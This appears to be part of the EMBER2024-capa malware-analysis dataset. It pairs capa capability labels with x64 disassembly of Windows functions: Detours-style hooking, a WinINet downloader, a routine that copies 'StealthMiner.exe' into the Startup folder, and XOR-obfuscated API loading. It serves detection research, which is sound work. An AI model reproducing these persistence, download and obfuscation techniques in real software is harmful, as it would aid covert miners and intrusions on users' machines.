joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180056fb0
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
lea rdi, [rcx - 0x7ff80000]
mov rbx, rcx
cmp rcx, 0x7ff80000
ja 0x180056fd2
mov edi, 0x80000
mov qword [rsp + 0x38], rsi
lea rsi, [rcx + 0x7ff80000]
cmp rbx, 0xffffffff80000000
jb 0x180056fee
mov rsi, 0xfffffffffff80000
movzx eax, byte [rcx]
cmp al, 0xff
jne 0x180057005
cmp byte [rcx + 1], 0x25
jne 0x180057049
movsxd rcx, dword [rcx + 2]
add rcx, 6
jmp 0x180057011
cmp al, 0xe9
jne 0x180057049
movsxd rcx, dword [rcx + 1]
add rcx, 5
add rcx, rbx
cmp rcx, rbx
jae 0x180057034
cmp rcx, 0xffffffff80000000
jae 0x18005702b
lea rsi, [rcx + 0x7ff80000]
jmp 0x180057049
mov rsi, 0xfffffffffff80000
jmp 0x180057049
lea rdi, [rcx - 0x7ff80000]
cmp rcx, 0x7ff80000
ja 0x180057049
mov edi, 0x80000
mov rdx, qword [0x18006b758]
mov rax, qword [0x18006b750]
mov qword [rsp + 0x30], rbp
test rdx, rdx
jne 0x180057070
test rax, rax
je 0x180057087
mov rdx, rax
mov qword [0x18006b758], rax
mov rcx, qword [rdx + 0x10]
test rcx, rcx
je 0x180057087
cmp rcx, rdi
jb 0x180057087
cmp rcx, rsi
jbe 0x1800571da
mov qword [0x18006b758], rax
mov rdx, rax
test rax, rax
je 0x1800570d2
mov rcx, rax
nop dword [rax]
test rax, rax
je 0x1800570bc
mov rax, qword [rcx + 0x10]
test rax, rax
je 0x1800570bc
cmp rax, rdi
jb 0x1800570bc
cmp rax, rsi
jbe 0x1800571da
mov rdx, qword [rdx + 8]
mov qword [0x18006b758], rdx
mov rcx, rdx
mov rax, rdx
test rdx, rdx
jne 0x1800570a0
movzx eax, bx
sub rbx, rax
cmp rbx, 0x40000000
jbe 0x1800570fc
lea rdx, [rbx - 0x40000000]
mov rcx, rdi
call fcn.180056dd0
mov rdx, rax
test rax, rax
jne 0x180057188
movabs rbp, 0xffffffff40000000
cmp rbx, rbp
jae 0x180057122
lea rcx, [rbx + 0x40000000]
mov rdx, rsi
call fcn.180056ec0
mov rdx, rax
test rax, rax
jne 0x180057188
cmp rbx, 0x40000000
jbe 0x180057142
lea rcx, [rbx - 0x40000000]
mov rdx, rbx
call fcn.180056ec0
mov rdx, rax
test rax, rax
jne 0x180057188
cmp rbx, rbp
jae 0x18005715e
lea rdx, [rbx + 0x40000000]
mov rcx, rbx
call fcn.180056dd0
mov rdx, rax
test rax, rax
jne 0x180057188
mov rdx, rbx
mov rcx, rdi
call fcn.180056dd0
mov rdx, rax
test rax, rax
jne 0x180057188
mov rdx, rsi
mov rcx, rbx
call fcn.180056ec0
mov rdx, rax
test rax, rax
je 0x180057211
mov dword [rdx], 0x52727464
lea rcx, [rdx + 0xffa8]
xor r8d, r8d
mov qword [0x18006b758], rdx
mov qword [rdx + 0x10], r8
mov r9d, 0x2a7
mov rax, qword [0x18006b750]
mov qword [rdx + 8], rax
lea rax, [rdx + 0xff60]
mov qword [0x18006b750], rdx
mov qword [rcx], r8
lea rcx, [rcx - 0x60]
mov r8, rax
sub rax, 0x60
sub r9, 1
jne 0x1800571c2
mov qword [rdx + 0x10], r8
mov rax, qword [rdx + 0x10]
cmp rax, rdi
jb 0x180057211
cmp rax, rsi
ja 0x180057211
mov rcx, qword [rax + 0x48]
movdqa xmm0, xmmword [0x18005b570]
mov qword [rdx + 0x10], rcx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
jmp 0x180057213
xor eax, eax
mov rsi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x180057460
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x50
mov rbx, rdx
mov r8d, 0x30
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
nop
mov eax, 0x5a4d
mov rcx, qword [rsp + 0x28]
cmp word [rcx], ax
je 0x18005748e
xor al, al
jmp 0x1800574d0
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rdx + rcx], 0x4550
je 0x18005749f
xor al, al
jmp 0x1800574d0
mov r8d, dword [rdx + rcx + 0xe8]
lea rax, [r8 + rcx]
cmp rbx, rax
jb 0x1800574c6
mov eax, dword [rdx + rcx + 0xec]
add rax, r8
add rax, rcx
cmp rbx, rax
jae 0x1800574c6
mov al, 1
jmp 0x1800574d0
xor al, al
add rsp, 0x50
pop rbx
ret
add rsp, 0x50
pop rbx
ret
Function at 0x1800579b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rsi
sub rsp, 0x28
mov rbp, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x18006b768], eax
je 0x1800579d7
mov eax, 0x10dd
add rsp, 0x28
pop rsi
pop rbp
ret
mov eax, dword [0x18006b76c]
test eax, eax
jne 0x180057b17
test rbp, rbp
jne 0x1800579f6
mov eax, 0x57
add rsp, 0x28
pop rsi
pop rbp
ret
test rsi, rsi
je 0x180057a12
cmp qword [rsi], 0
jne 0x180057a1e
mov dword [0x18006b76c], 6
mov qword [0x18006b770], rsi
mov eax, 6
add rsp, 0x28
pop rsi
pop rbp
ret
mov qword [rsp + 0x40], rbx
mov ecx, 0x30
mov qword [rsp + 0x20], rdi
call fcn.180058a00
mov rdi, rax
test rax, rax
jne 0x180057a44
mov ebx, 8
jmp 0x180057aec
mov rcx, qword [rsi]
xor edx, edx
call fcn.180057900
xor edx, edx
mov rcx, rbp
mov rbx, rax
call fcn.180057900
movzx edx, byte [rbx + 0x3e]
mov rbp, qword [rbx + 0x48]
sub rbp, rdx
test dl, dl
je 0x180057ade
cmp rdx, 0x1e
ja 0x180057ade
cmp qword [rbx + 0x50], rax
jne 0x180057ade
lea r9, [rsp + 0x50]
mov dword [rsp + 0x50], 0
mov r8d, 0x40
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x180057aa0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180057aec
mov qword [rdi + 0x20], rbx
mov rbx, qword [rsp + 0x40]
mov dword [rdi + 8], 1
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rbp
mov eax, dword [rsp + 0x50]
mov dword [rdi + 0x28], eax
mov rax, qword [0x18006b780]
mov qword [rdi], rax
xor eax, eax
mov qword [0x18006b780], rdi
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
pop rsi
pop rbp
ret
cmp dword [0x18006b760], 0
mov ebx, 9
jne 0x180057af7
mov dword [0x18006b76c], ebx
test rdi, rdi
je 0x180057b04
mov edx, 0x30
mov rcx, rdi
call fcn.180058a44
mov rdi, qword [rsp + 0x20]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov qword [0x18006b770], rsi
add rsp, 0x28
pop rsi
pop rbp
ret

Function at 0x180057b20
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x28
cmp dword [0x18006b768], 0
jne 0x180057bc7
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, eax
xor eax, eax
lock cmpxchg dword [0x18006b768], ecx
jne 0x180057bc7
mov qword [rsp + 0x38], rbx
mov rbx, qword [0x18006b750]
mov qword [rsp + 0x20], rdi
xor edi, edi
mov qword [0x18006b780], rdi
mov qword [0x18006b778], rdi
mov qword [0x18006b770], rdi
test rbx, rbx
je 0x180057bb0
nop word [rax + rax]
lea r9, [rsp + 0x30]
mov edx, 0x10000
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180057ba8
mov rbx, qword [rbx + 8]
test rbx, rbx
jne 0x180057b80
jmp 0x180057bb0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rbx, qword [rsp + 0x38]
mov eax, edi
mov dword [0x18006b76c], edi
mov rdi, qword [rsp + 0x20]
add rsp, 0x28
ret
mov eax, 0x10dd
add rsp, 0x28
ret
Function at 0x1800581e0
Capabilities:
Suspend thread

Disassembly:
push rdi
sub rsp, 0x20
mov eax, dword [0x18006b76c]
mov rdi, rcx
test eax, eax
jne 0x180058285
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp rdi, rax
jne 0x18005820a
xor eax, eax
add rsp, 0x20
pop rdi
ret
mov ecx, 0x10
mov qword [rsp + 0x30], rbx
call fcn.180058a00
mov rbx, rax
test rax, rax
jne 0x180058228
mov edi, 8
jmp 0x18005824b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x180058269
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov edx, 0x10
mov rcx, rbx
call fcn.180058a44
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov dword [0x18006b76c], edi
mov qword [0x18006b770], 0
add rsp, 0x20
pop rdi
ret
mov rax, qword [0x18006b778]
mov qword [rbx], rax
xor eax, eax
mov qword [rbx + 8], rdi
mov qword [0x18006b778], rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140001290
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x1160
call fcn.1400045e0
sub rsp, rax
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rsp + 0x1150], rax
mov rdi, rdx
mov rbx, rcx
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Downloader
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140001326
cmp qword [rbx + 0x18], 7
jbe 0x1400012f2
mov rbx, qword [rbx]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
jne 0x14000132d
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor al, al
jmp 0x14000144d
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memset
cmp qword [rdi + 0x18], 7
jbe 0x140001349
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140002bc0
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x40], rax
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x3c], edx
mov rcx, rbx
cmp qword [rsp + 0xc8], 0
jne 0x1400013a2
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor bl, bl
jmp 0x140001440
lea r9, [rsp + 0x30]
mov r8d, 0x1000
lea rdx, [rsp + 0x150]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400013fe
nop
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1400013fe
mov r8d, eax
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
lea rdx, [rsp + 0x150]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400013c0
lea rcx, [rsp + 0x48]
call fcn.140002b00
test rax, rax
jne 0x14000142c
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov bl, 1
lea rcx, [rsp + 0x40]
call fcn.140001480
movzx eax, bl
mov rcx, qword [rsp + 0x1150]
xor rcx, rsp
call fcn.140003670
lea r11, [rsp + 0x1160]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140001540
Capabilities:
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x160], rax
mov rsi, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor r14d, r14d
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r14w
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 7
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x1400016a2
lea rax, [rsp + 0x50]
mov rdx, 0xffffffffffffffff
inc rdx
cmp word [rax + rdx*2], 0
jne 0x1400015c1
mov rax, qword [rsp + 0x48]
cmp rdx, rax
ja 0x140001604
lea rdi, [rsp + 0x30]
cmp rax, 7
cmova rdi, qword [rsp + 0x30]
mov qword [rsp + 0x40], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
lea rdx, [rsp + 0x50]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi], r14w
jmp 0x140001613
lea r9, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140003260
mov rdi, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, rdi
cmp rax, 0x11
jb 0x14000165f
lea rax, [rdi + 0x11]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rcx, 7
cmova rbx, qword [rsp + 0x30]
lea rcx, [rbx + rdi*2]
mov r8d, 0x22
lea rdx, str.StealthMiner.exe
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0x22], r14w
jmp 0x140001677
mov qword [rsp + 0x20], 0x11
mov edx, 0x11
lea rcx, [rsp + 0x30]
call fcn.1400033c0
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 7
cmova rdx, qword [rsp + 0x30]
cmp qword [rsi + 0x18], 7
jbe 0x140001692
mov rsi, qword [rsi]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
setne bl
jmp 0x1400016a4
xor bl, bl
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x1400016e9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016e4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400036cc
movzx eax, bl
mov rcx, qword [rbp + 0x160]
xor rcx, rsp
call fcn.140003670
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140001e60
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x140001e81
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140001eae
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140001eb0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140001f09
test ecx, ecx
jle 0x140001ee9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140001f09
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140001f09
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
ud0
Function at 0x140001f30
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140001f52
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140001f61
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140001f84
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140001f86
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140001fc2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000205e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140001ffd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000203e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000205e
cmp rbx, rax
ja 0x140002010
test rbx, rbx
je 0x14000205e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
and dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
xchg byte [rsi], r10b
add byte [rsi - 0x79], cl
invalid
Function at 0x1400024c0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400024ed
xor eax, eax
jmp 0x140002659
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140002527
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140002527
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140002659
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000264c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000256a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140002595
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002651
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002604
sub eax, 1
je 0x140002604
cmp eax, 2
jne 0x14000264c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002651
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002632
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000264c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140002651
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140003670
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140002a10
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140002ae3
cmp byte [rcx + 0x71], 0
je 0x140002ae3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140002adf
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002aa4
sub eax, 1
je 0x140002aa8
cmp eax, 2
jne 0x140002adf
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003670
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140002ad6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140002adf
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140002a8c
xor al, al
jmp 0x140002a8c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140003670
add rsp, 0x60
pop rbx
ret

Function at 0x140003ff0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000403a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000403a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000403a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000403a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000403a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000403c
xor al, al
add rsp, 0x28
ret
Function at 0x140014620
Capabilities:
Get file version info

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x38
movsxd rax, dword [rsp + 0x40]
mov ecx, 0x96019b8e
cmp rax, rcx
jne 0x1400146c0
mov dword [rsp + 0x20], 0
xor edx, edx
lea rcx, [0x1400ddeb0]
call qword [sym.imp.SensApi.dll_IsDestinationReachableA]
xor ecx, ecx
call qword [sym.imp.SensApi.dll_IsNetworkAlive]
xor edx, edx
lea rcx, [0x1400e01b4]
call qword [sym.imp.SensApi.dll_IsDestinationReachableW]
xor edx, edx
lea rcx, [0x1400ddeb0]
call qword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400ddeb0]
call qword [sym.imp.VERSION.dll_GetFileVersionInfoA]
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x1400ddeb0]
xor ecx, ecx
call qword [sym.imp.VERSION.dll_VerQueryValueA]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400ddeb0]
call qword [sym.imp.WINSPOOL.DRV_OpenPrinterA]
xor ecx, ecx
call qword [sym.imp.WINSPOOL.DRV_ClosePrinter]
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x14001493c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x1400f1260]
test rax, rax
je 0x14001495e
call rax
mov al, 1
jmp 0x140014aba
xor r9d, r9d
mov dword [rbp - 0x30], 0x2f68a02f
mov cl, 0x2f
mov dword [rbp - 0x2c], 0x6b87e03b
mov dword [rbp - 0x28], 0x9b7a07
movabs rbx, 0x8080808080808081
lea r10d, [r9 + 0xa]
movsx eax, cl
inc eax
movsxd r8, eax
lea rax, [r9 + 0xa]
imul r8, rax
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
movsx rdx, cl
sub r8, rax
mov al, r9b
and al, 7
shl al, 3
mov cl, al
mov rax, rbx
sar rdx, cl
mov rcx, r10
xor r8b, dl
mul r10
add r10, 0xa
shr rdx, 7
imul rax, rdx, 0xff
sub rcx, rax
xor r8b, cl
xor byte [rbp + r9 - 0x2f], r8b
inc r9
cmp r10, 0x6e
jae 0x1400149ef
mov cl, byte [rbp - 0x30]
jmp 0x140014986
lea rcx, [rbp - 0x2f]
mov byte [rbp - 0x25], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9, rax
test rax, rax
je 0x140014ab8
movdqa xmm0, xmmword [0x1400e0260]
xor eax, eax
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0x7e52629e
xor r10d, r10d
mov word [rbp - 0xc], 0xc71f
lea r11d, [rax + 0x15]
mov byte [rbp - 0xa], al
movsx eax, byte [rbp - 0x20]
mov cl, r10b
inc eax
and cl, 7
movsxd r8, eax
lea rax, [r10 + 0x15]
imul r8, rax
shl cl, 3
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
movsx rdx, byte [rbp - 0x20]
sub r8, rax
sar rdx, cl
xor r8b, dl
mov rcx, r11
mov rax, rbx
mul r11
add r11, 0x15
shr rdx, 7
imul rax, rdx, 0xff
sub rcx, rax
xor r8b, cl
xor byte [rbp + r10 - 0x1f], r8b
inc r10
cmp r11, 0x1ce
jb 0x140014a2f
lea rdx, [rbp - 0x1f]
mov byte [rbp - 0xa], 0
mov rcx, r9
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400f1260], rax
test rax, rax
